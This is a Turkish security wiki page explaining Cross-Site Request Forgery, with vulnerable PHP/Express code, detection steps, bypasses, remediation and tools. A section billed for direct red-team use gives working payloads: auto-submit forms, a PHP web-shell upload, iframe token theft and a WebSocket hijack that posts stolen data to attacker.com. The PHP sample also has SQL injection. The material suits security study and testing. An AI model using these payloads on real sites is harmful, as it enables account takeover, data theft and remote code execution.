AltaySec Wiki Cross-Site Request Forgery (CSRF)   ·   AltaySec Araştırmalar

Cross-Site Request Forgery (CSRF)

root@altaysec:~# whoami
> Yazar: Yaren Daşpınar

Cross-Site Request Forgery (CSRF), saldırganın kurbanın tarayıcısını kullanarak, kurbanın kimlik doğrulama bağlamı (authentication context) altında hedef uygulamada yetkisiz işlemler gerçekleştirmesini sağlayan, istemci tarafı (client-side) ve protokol seviyesinde bir zafiyettir. Zafiyetin temelinde, HTTP protokolünün durumsuz (stateless) yapısı ve tarayıcıların "Ambient Credentials" (ortam kimlik bilgileri - örneğin çerezler, HTTP Basic Auth, istemci sertifikaları) adı verilen verileri, hedefe yapılan her isteğe otomatik olarak ekleme davranışı (RFC 6265) yatar.

Modern web mimarilerinde Same-Origin Policy (SOP) ve Cross-Origin Resource Sharing (CORS) mekanizmaları verinin okunuşunu engellese de, CSRF "yazma/eylem gerçekleştirme" (State-changing action) odaklıdır ve SOP'yi dolaylı olarak atlatır. Saldırgan cevabı (response) okuyamaz ancak kurbanın yetkileriyle veri silebilir, şifre değiştirebilir veya finansal transferler gerçekleştirebilir.

How It Works (Teknik Analiz)

Web tarayıcıları, bir hedefe (domain) istek gönderirken o hedefe ait ve geçerli (süresi dolmamış, path ve domain kısıtlamalarına uyan) tüm çerezleri "Cookie" başlığı altında otomatik olarak gönderir. Bu işlem, isteği tetikleyen kaynağın (Origin) neresi olduğundan bağımsızdır.

CSRF zafiyetinin sömürülebilmesi için şu üç kök koşulun aynı anda sağlanması gerekir:

  1. İlgili Eylem (Relevant Action): Uygulama içinde saldırganın tetiklemek isteyeceği, durumu değiştiren (state-changing) bir işlem (Örn: /update-email, /transfer-funds, /delete-user).
  2. Çerez Tabanlı Oturum Yönetimi (Cookie-based Session Handling): Uygulama, isteği yapan kullanıcıyı doğrulamak için sadece HTTP çerezlerine (veya HTTP Basic Auth gibi otomatik eklenen diğer başlıklara) güvenmelidir.
  3. Öngörülebilir İstek Parametreleri (No Unpredictable Parameters): İşlemi gerçekleştiren istek, saldırganın tahmin edemeyeceği bir değere (Örn: mevcut şifre, rastgele üretilmiş bir token) sahip olmamalıdır.

Olay döngüsü (Event Loop) ve DOM işleyişi açısından bakıldığında; saldırgan kendi kontrolündeki bir origin'de (örneğin https://attacker.com) bir DOM ağacı inşa eder ve kurbanı bu sayfaya çeker. Tarayıcının rendering motoru, bu sayfadaki <img>, <form>, <script> gibi elementleri yorumlarken hedef URL'e (örneğin https://bank.com/transfer) bir HTTP isteği (GET veya POST) başlatır. İşletim sisteminin ağ yığını üzerinden gönderilen bu isteğe, tarayıcı tarafından bank.com'a ait oturum çerezleri otomatik olarak enjekte edilir. Sunucu, gelen isteği kurbanın kendi isteği olarak algılar ve AST (Abstract Syntax Tree) veya Controller seviyesinde işletir.

Vulnerable Code Patterns

Aşağıda, CSRF'e karşı korumasız olan tipik arka uç (backend) kod kalıpları verilmiştir.

// PHP - Kötü Yapılandırılmış İstek Yönetimi (Method-Agnostic)
public function changeEmail($fatal = true) {
    // Sadece oturum kontrolü yapılıyor, ancak origin veya token kontrolü YOK!
    if (!isset($_SESSION['user_id'])) {
        die("Unauthorized");
    }

    // CSRF Koruması sadece POST için yapılmış (Yaygın bir hata)
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
            die("CSRF Token Mismatch");
        }
    }

    // Zafiyet: İstek POST değilse (GET ise) kod akışı buraya düşer ve token kontrolü atlatılır.
    // $_REQUEST kullanıldığı için GET, POST veya COOKIE parametreleri ayrım yapılmaksızın işlenir.
    $new_email = $_REQUEST['email'];
    $db->query("UPDATE users SET email = '$new_email' WHERE id = " . $_SESSION['user_id']);
    echo "Email updated successfully.";
}
// Node.js (Express) - Eksik CSRF Middleware ve SameSite Ayarı
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();

app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));

// Sadece çerezdeki sessionID'ye güveniliyor, Anti-CSRF token yok.
app.post('/api/user/delete', (req, res) => {
    const sessionToken = req.cookies['session_id'];
    const targetUser = req.body.username;
    
    if(isValidSession(sessionToken)) {
        // Hedef kullanıcı siliniyor. Saldırgan POST formunu otomatik submit ettirerek bunu tetikleyebilir.
        db.users.delete(targetUser); 
        res.status(200).send("User deleted.");
    } else {
        res.status(401).send("Auth failed.");
    }
});

Detection & Enumeration (Keşif ve Analiz)

CSRF zafiyetlerini keşfetmek, uygulamanın durum değiştiren (state-changing) endpoint'lerinin analizini gerektirir. Modern test metodolojisi ve fuzzing adımları şunlardır:

  1. İlgili Endpoint'lerin Tespiti: Uygulamadaki tüm form gönderimleri, AJAX/XHR/Fetch istekleri ve API çağrıları proxy (Burp Suite, OWASP ZAP) üzerinden haritalanır.
  2. Token Manipülasyonu (Fuzzing):
    • Token parametresini (adıyla birlikte) tamamen silin.
    • Token değerini boş bırakın (csrf=&email=...).
    • Token'ın sadece bir veya birkaç karakterini değiştirin.
    • Kendi oturumunuzdan aldığınız (saldırgan hesabı) geçerli bir token'ı kullanarak kurbanın oturumunda istek yapmayı deneyin (Token to Session mapping hatası).
  3. HTTP Method Override & Swapping:
    • İsteği POST'tan GET'e çevirin ve parametreleri URL'e taşıyın.
    • İsteği POST'tan PUT, DELETE veya PATCH'e çevirin.
    • Method Override başlıkları/parametreleri ekleyin: _method=GET, X-HTTP-Method-Override: POST.
  4. Content-Type Değişimi: REST API'ler application/json kabul eder ve tarayıcı bu tür XHR POST isteklerinde "Preflight" (OPTIONS) isteği gönderir. Preflight'ı atlatmak için Content-Type başlığını text/plain veya application/x-www-form-urlencoded yaparak sunucunun isteği parse edip etmediği gözlemlenir.
  5. Referer ve Origin Kontrolü: İstekten Referer ve Origin başlıklarını kaldırın veya değiştirilmiş (spoofed) bir Referer gönderin (Referer: http://target.com.attacker.com).

Attack Vectors & Exploitation (İstismar Vektörleri)

Classic POST/GET CSRF

En yaygın saldırı türüdür. GET tabanlı ise sadece bir <img> etiketi yeterliyken, POST tabanlı ise gizli (type="hidden") girdiler barındıran bir HTML formu kullanılır ve JavaScript ile window.onload anında otomatik olarak (document.forms[0].submit()) tetiklenir.

Login CSRF

Hedef uygulamada kurbanın oturum açma (login) sayfasına yönelik CSRF saldırısıdır. Saldırgan, kurbanı kendi (saldırganın) hesabına zorla giriş yapmaya mecbur bırakır (Forced Authentication). Kurban, saldırganın hesabında olduğunu fark etmeden arama geçmişi oluşturur veya kredi kartı ekler. Ardından saldırgan kendi hesabına girip bu hassas verilere ulaşır. Genellikle Stored XSS zafiyetleriyle zincirlenerek (chain) oturum ele geçirmede kullanılır.

WebSocket CSRF (Cross-Site WebSocket Hijacking - CSWSH)

WebSocket handshake süreci (Connection: Upgrade, Upgrade: websocket) HTTP üzerinden gerçekleşir. Sunucu, WebSocket el sıkışmasında CSRF token doğrulaması veya Origin kontrolü yapmazsa, saldırgan kurbanın tarayıcısından hedef sunucuya new WebSocket('wss://target.com/chat') çağrısı yaparak bağlantı açabilir. Bu sayede CSRF'in "tek yönlü" (kör) olma engeli aşılır; saldırgan kurulan bu tünel üzerinden çift yönlü (two-way) veri okuyabilir ve exfiltration yapabilir.

DOM-Based CSRF & Gadget Chains

Uygulama istemci tarafında (SPA - Single Page Application mimarilerinde) URL parametrelerinden veya postMessage eventlerinden aldığı veriyi güvensiz bir şekilde işleyip (örneğin bir fetch çağrısına argüman olarak veriyorsa) istek oluşturuyorsa ortaya çıkar. Bu senaryoda CSRF token koruması olsa bile, token zaten DOM içinde olduğundan XSS veya DOM Gadget'ları üzerinden token sızdırılır ve istek yapılır.

Payloads & Advanced Commands

DİKKAT: Aşağıdaki komutlar ve payloadlar sahada Red Team operasyonlarında doğrudan kullanılmak üzere tasarlanmıştır.

Auto-Submit HTML Forms (POST & GET)

Temel POST Formu (JavaScript ile Otomatik Gönderim):

<html>
  <body>
    <script>history.pushState('', '', '/');</script>
    <form action="https://vulnerable.com/api/profile/update" method="POST" id="csrfForm">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="role" value="admin" />
      <input type="submit" value="Click to claim prize!" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

Iframe İçinde Görünmez POST Formu (Sayfa Yenilenmesini Engeller):

<html>
  <body>
    <iframe style="display:none" name="csrfFrame"></iframe>
    <form method="POST" action="https://target.com/delete_account" target="csrfFrame" id="silentForm">
      <input type="hidden" name="confirm" value="true" />
    </form>
    <script>
      document.getElementById('silentForm').submit();
    </script>
  </body>
</html>

XHR/Fetch CORS-Bypassing Payloads (Preflight Atlatma)

JSON tabanlı API'leri hedef alırken CORS Preflight (OPTIONS) isteğini tetiklememek için Content-Type: text/plain olarak gönderilir ve JSON verisi URL-encoded gibi yapılandırılır.

Fetch API text/plain JSON Smuggling:

<html>
  <body>
    <form id="jsonForm" method="POST" action="https://api.target.com/v1/users" enctype="text/plain">
      <input name='{"email":"[email protected]", "isAdmin":true, "padding":"' value='"}' />
    </form>
    <script>
      document.getElementById('jsonForm').submit();
    </script>
  </body>
</html>

AJAX XMLHttpRequest POST Payload:

<script>
  var xhr = new XMLHttpRequest();
  xhr.withCredentials = true; // Kurbanın çerezlerini ekle
  xhr.open("POST", "https://target.com/settings/password", true);
  // Preflight'ı atlatmak için form-urlencoded kullanılıyor
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send("new_password=Hacked123!&confirm_password=Hacked123!");
</script>

File Upload (Multipart) CSRF

Dosya yükleme noktalarında (örneğin profil fotoğrafı üzerinden RCE hedefli web shell yüklemelerinde) CSRF tetiklemek için Blob ve FormData nesneleri kullanılır.

Fetch ile Multipart Form Data CSRF:

<script>
  var myFormData = new FormData();
  // Kötü amaçlı PHP Web Shell içeriği
  var blob = new Blob(["<?php system($_GET['cmd']); ?>"], { type: "text/plain" });
  myFormData.append("avatar", blob, "shell.php");
  myFormData.append("submit", "true");

  fetch("https://target.com/profile/upload", {
    method: "POST",
    body: myFormData,
    credentials: "include", // Çerezleri dahil et
    mode: "no-cors"         // CORS hatalarını göz ardı et
  });
</script>

WebSocket Hijacking (CSWSH) Payload

WebSocket üzerinden veri sızdırmak için bağlantı açılır, sunucuya bir tetikleyici gönderilir ve dönen veri Collaborator sunucusuna sızdırılır.

<script>
  var ws = new WebSocket('wss://target.com/chat-stream');
  
  ws.onopen = function() {
      // Bağlantı açıldığında geçmişi getirecek komutu gönder
      ws.send("READY"); 
      ws.send('{"action":"get_history"}');
  };
  
  ws.onmessage = function(event) {
      // Gelen hassas veriyi (örn. chat geçmişi, tokenler) saldırganın sunucusuna gönder
      fetch('https://attacker.com/log', {
          method: 'POST',
          mode: 'no-cors',
          body: event.data
      });
  };
</script>

CSRF Token Exfiltration via XSS or Iframe

Aynı Origin politikasının izin verdiği veya bir XSS ile birleştirilmiş senaryolarda token'ı okuyup CSRF isteğine dahil eden payload'lar.

Iframe üzerinden Token Okuma (Eğer XSS veya Same-Origin mevcutsa):

<iframe id="targetFrame" src="https://target.com/settings" style="display:none;" onload="stealAndSubmit()"></iframe>
<script>
function stealAndSubmit() {
    // Iframe içindeki DOM'a erişip token'ı çal
    var iframeDoc = document.getElementById("targetFrame").contentDocument || document.getElementById("targetFrame").contentWindow.document;
    var csrfToken = iframeDoc.getElementsByName("csrf_token")[0].value;
    
    // Çalınan token ile dinamik bir form oluştur ve POST et
    var form = document.createElement("form");
    form.method = "POST";
    form.action = "https://target.com/account/delete";
    
    var tokenInput = document.createElement("input");
    tokenInput.type = "hidden";
    tokenInput.name = "csrf_token";
    tokenInput.value = csrfToken;
    
    form.appendChild(tokenInput);
    document.body.appendChild(form);
    form.submit();
}
</script>

HTML5 Tag GET Trigger Payloads

Sadece sayfayı ziyaret etmekle GET isteklerini arka planda tetikleyen HTML5 etiketleri.

<img src="https://target.com/transfer?amount=1000&to=attacker" style="display:none" />
<link rel="stylesheet" href="https://target.com/logout" />
<video poster="https://target.com/api/delete_all"></video>
<script src="https://target.com/change_theme?theme=hacked"></script>
<body background="https://target.com/trigger_action"></body>
<style> body { background: url("https://target.com/action"); } </style>

Bypass & Obfuscation (Atlatma Teknikleri)

Hedef sistemlerde bulunan zayıf yapılandırılmış CSRF korumalarını aşmak için kullanılan ileri düzey tekniklerdir.

SameSite = Lax (2-Minute Window & GET Bypass)

Google Chrome, SameSite niteliği belirtilmeyen çerezleri varsayılan olarak Lax kabul eder. Lax modda çapraz site POST isteklerinde çerez gönderilmez. Ancak iki büyük atlatma yöntemi vardır:

  1. Method Override (POST to GET): Sunucu isteğin POST olup olmadığını umursamıyorsa, istek GET'e çevrilir. Lax modda "Top-level navigation" (pencere navigasyonu) yapan GET isteklerinde çerez gönderilir.
    document.location = "https://target.com/api/action?param=value";
    
  2. Method Override Headers/Params: Framework düzeyinde GET içinde _method parametresi kullanılarak POST taklidi yapılabilir.
    <form action="https://target.com/update" method="POST">
        <input type="hidden" name="_method" value="GET"> </form>
    
  3. Yeni Çerez Penceresi (Lax-by-Default 2-Minute Rule): Chrome SSO mekanizmalarını bozmamak için, yeni oluşturulan bir çerezin Lax olsa dahi ilk 120 saniye boyunca POST isteklerine de eklenmesine (Lax+POST) izin verir. Kurban OAuth/SSO ile yeni login olmaya zorlanır (window.open ile) ve anında POST CSRF tetiklenir.

Referer ve Origin Doğrulamasını Aşmak

Uygulamalar bazen isteğin sadece kendi domainlerinden gelip gelmediğini Referer veya Origin başlıklarına bakarak doğrular.

  1. Başlığı Gizlemek (Header Suppression): Eğer sunucu Referer başlığı yoksa isteği kabul ediyorsa, başlığın tarayıcı tarafından eklenmesi HTML meta etiketi ile engellenir:
    <meta name="referrer" content="never"> ```
    
  2. Regex ve Subdomain Yanılgıları: Uygulama "target.com" kelimesini içerip içermediğini kontrol ediyorsa (zayıf regex preg_match('/target.com/')), saldırgan kendi domaini ile atlatır:
    • URL formatı: http://attacker.com/exploit?target.com
    • Subdomain formatı: http://target.com.attacker.com/exploit
  3. Origin Atlatma: Bazen sunucu Origin'i doğrular ama localhost veya intranet origin'lerine güvenir. Uygulamadaki bir Open Redirect veya CORS zafiyeti ile bu aşılabilir.

Sibling Domain & XSS Chaining

Eğer çerez SameSite=Strict olarak ayarlanmışsa, başka bir siteden kesinlikle gönderilmez. Ancak SameSite politikası "Site" düzeyinde çalışır, "Origin" (Subdomain) düzeyinde değil. Yani blog.target.com üzerinden yapılan bir istek app.target.com için "Same-Site" kabul edilir ve Strict çerezler eklenir. Eğer alt alan adlarından (sibling domains) birinde bir XSS zafiyeti bulunursa, saldırgan XSS payloadını oraya enjekte edip CSRF isteğini o subdomain üzerinden SameSite=Strict politikasını aşarak yapabilir.

Remediation & Prevention (Önleme ve Savunma)

CSRF zafiyetlerini tamamen ortadan kaldırmak için "Defense in Depth" (Derinlemesine Savunma) mimarisi benimsenmelidir.

  1. Anti-CSRF Tokens (Synchronizer Token Pattern): * Her oturum için (veya her istek için) kriptografik olarak güvenli, yüksek entropili (CSPRNG) benzersiz bir token oluşturulmalı.

    • Bu token, formlarda gizli (hidden) bir input alanı olarak veya AJAX/XHR isteklerinde özel bir HTTP başlığında (Custom Header, Örn: X-CSRF-Token) gönderilmeli.
    • Sunucu, gelen isteğin token'ı ile oturumda kayıtlı token'ı karşılaştırmalıdır. Eşleşme yoksa işlem reddedilmelidir (HTTP 403 Forbidden).
  2. SameSite Cookie Nitelikleri:

    • Hassas oturum çerezlerine kesinlikle SameSite=Strict niteliği eklenmelidir.
    • Çapraz site yönlendirmelerinin şart olduğu durumlarda SameSite=Lax kullanılabilir, ancak durum değiştiren (mutating) eylemlerin sadece POST/PUT/DELETE gibi HTTP metotlarıyla yapıldığından (GET ile yapılamadığından) emin olunmalıdır.
    • Set-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=Strict
  3. Double Submit Cookie (Stateless Architecture):

    • Eğer sunucu durum tutmuyorsa (stateless), rasgele bir token üretilip hem çereze hem de istek parametresine eklenir. Sunucu ikisinin eşleşip eşleşmediğine bakar. Ancak bu yöntem tek başına yeterli değildir; Subdomain ele geçirmelerine (Cookie Tossing) karşı zayıftır. Çerezin içeriği HMAC ile imzalanmalıdır.
  4. Kullanıcı Etkileşimi İstemek (Step-up Authentication):

    • Kritik eylemlerde (şifre değişimi, hesaptan para aktarımı), kullanıcının eski şifresini girmesi, CAPTCHA çözmesi veya SMS/Authenticator üzerinden OTP (One-Time Password) girmesi zorunlu tutulmalıdır.
  5. Referer / Origin Kontrolü Yetersizliği:

    • Origin ve Referer başlıkları doğrulama için sadece destekleyici (ek savunma) olarak kullanılmalı, birincil koruma hattı olarak güvenilmemelidir. Eşleşme yoksa veya başlıklar eksikse fail-closed (varsayılan red) politikası uygulanmalıdır.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Suite Pro Manuel analiz edilen istekten otomatik HTML/JS tabanlı CSRF exploit PoC (Proof of Concept) kodu üretir. Context Menu -> Engagement Tools -> Generate CSRF PoC
XSRFProbe Gelişmiş otomatik CSRF zafiyet tarayıcısı ve sömürü aracıdır. Farklı token tespit algoritmaları kullanır. xsrfprobe -u https://target.com/endpoint --cookie "session=123" --crawl
OWASP ZAP Spidering ve Active Scan modülleri ile eksik veya zayıf CSRF token implementasyonlarını keşfeder. zap-cli quick-scan --self-contained --spider https://target.com
Bolt Özel CSRF/XSS tarama eklentileri barındıran, zafiyetleri zincirlemeye yönelik tarayıcı uzantısı ve aracıdır. python3 bolt.py -u https://target.com/api
sqlmap CSRF korumalı SQLi zafiyetli uç noktalara saldırırken tokenleri otomatik güncellemek için kullanılır. sqlmap -u "http://target.com/vuln" --csrf-token="csrf_name" --csrf-url="http://target.com/form"

Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv